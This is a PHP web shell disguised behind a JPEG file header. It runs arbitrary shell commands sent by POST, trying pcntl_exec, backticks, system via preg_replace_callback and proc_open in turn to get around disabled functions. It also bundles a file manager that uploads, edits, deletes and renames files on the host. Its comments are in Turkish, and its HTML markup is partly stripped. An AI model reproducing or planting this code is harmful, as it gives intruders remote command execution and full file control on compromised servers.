ÿØÿà JFIF    ÿÛ „  ( %!1!%*+...983,7(-.- ÿØÿà JFIF    ÿÛ „  ( %!1!%*+...983,7(-.- detectMethods(); } private function detectMethods() { if (function_exists('pcntl_fork') && function_exists('pcntl_exec')) { $this->methods[] = 'pcntl'; } $this->methods[] = 'backtick'; if (function_exists('preg_replace_callback')) { $this->methods[] = 'preg'; } if (function_exists('fsockopen')) { $this->methods[] = 'fsockopen'; } } public function execute($command, $currentPath) { $command = "cd " . escapeshellarg($currentPath) . " && " . $command . " 2>&1"; foreach ($this->methods as $method) { $result = $this->tryMethod($method, $command); if ($result !== false && $result !== '') { return $result; } } return "No execution method worked"; } private function tryMethod($method, $command) { switch($method) { case 'pcntl': return $this->pcntlExecute($command); case 'backtick': $output = `$command`; return $output !== null ? $output : false; case 'preg': ob_start(); preg_replace_callback('/.*/', function($m) use ($command) { system($command); }, 'test'); $output = ob_get_clean(); return $output ?: false; case 'fsockopen': return $this->fsockopenExecute($command); } return false; } private function pcntlExecute($command) { $tmpfile = tempnam(sys_get_temp_dir(), 'out'); $fullCmd = $command . " > " . $tmpfile . " 2>&1"; $pid = pcntl_fork(); if ($pid == 0) { $args = ['/bin/sh', '-c', $fullCmd]; pcntl_exec('/bin/sh', ['-c', $fullCmd]); exit(0); } else { pcntl_waitpid($pid, $status); $output = @file_get_contents($tmpfile); @unlink($tmpfile); return $output; } } private function fsockopenExecute($command) { $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($command, $descriptorspec, $pipes); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); return $output; } return false; } } $shell = new WebShell(); return $shell->execute($command, $currentPath); } // Handle command execution if POST request if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['cmd'])) { $cmd_result = executeCommand($_POST['cmd'], $currentPath); } // ============================ // 📋 DİZİN GÖRÜNTÜLEME // ============================ function showDirectory($dir) { $entries = array_diff(scandir($dir), ['.', '..']); echo "
"; echo "

Directory: $dir

"; echo "
"; foreach ($entries as $entry) { $fullPath = realpath($dir . DIRECTORY_SEPARATOR . $entry); $isDir = is_dir($fullPath); $iconClass = $isDir ? 'folder' : 'file'; echo "
"; if ($isDir) { echo ""; } else { echo "
$entry
"; echo "
"; echo "Edit"; echo "Delete"; echo "Rename"; echo "
"; } echo "
"; } echo "
"; } // ============================ // 📤 DOSYA YÜKLEME // ============================ function uploadFile($dir) { if (!empty($_FILES['file']['name'])) { $target = $dir . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) { echo "
File uploaded successfully!
"; } else { echo "
Upload failed.
"; } } } // ============================ // 🆕 KLASÖR VE DOSYA OLUŞTURMA // ============================ function makeFolder($dir) { $folder = trim($_POST['folder_name']); if (!$folder) return; $folderPath = $dir . DIRECTORY_SEPARATOR . $folder; if (!file_exists($folderPath)) { mkdir($folderPath); echo "
Folder created: $folder
"; } else { echo "
Folder already exists.
"; } } function makeFile($dir) { $file = trim($_POST['file_name']); if (!$file) return; $filePath = $dir . DIRECTORY_SEPARATOR . $file; if (!file_exists($filePath)) { file_put_contents($filePath, ''); echo "
File created: $file
"; } else { echo "
File already exists.
"; } } // ============================ // ✏️ DOSYA DÜZENLEME // ============================ function editFile($path) { if (!file_exists($path)) { echo "
File not found.
"; return; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) { file_put_contents($path, $_POST['content']); echo "
Saved successfully!
"; } $content = htmlspecialchars(file_get_contents($path)); echo "
"; echo "

Editing: " . basename($path) . "

"; echo "
"; echo "
"; echo "
"; echo ""; echo "
"; echo "
"; echo "
"; } // ============================ // 🗑️ DOSYA SİLME // ============================ function removeFile($path) { if (file_exists($path) && is_file($path)) { unlink($path); echo "
File deleted.
"; } else { echo "
File not found.
"; } } // ============================ // 🏷️ YENİDEN ADLANDIRMA // ============================ function renameItem($path) { if (!file_exists($path)) { echo "
Item not found.
"; return; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['new_name'])) { $newPath = dirname($path) . DIRECTORY_SEPARATOR . basename($_POST['new_name']); if (rename($path, $newPath)) { echo "
Renamed successfully!
"; } else { echo "
Rename failed.
"; } } else { echo "
"; echo "

Rename: " . basename($path) . "

"; echo "
"; echo ""; echo "
"; echo ""; echo "
"; echo "
"; echo "
"; } } // ============================ // ⚙️ İŞLEMLER // ============================ if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['file'])) uploadFile($currentPath); if (isset($_POST['folder_name'])) makeFolder($currentPath); if (isset($_POST['file_name'])) makeFile($currentPath); } if (isset($_GET['action']) && $item) { switch ($_GET['action']) { case 'edit': editFile($itemPath); break; case 'delete': removeFile($itemPath); break; case 'rename': renameItem($itemPath); break; } } ?> File Manager

File Manager

Upload File

Create Folder

Create File

Terminal/Command Shell

Command Output: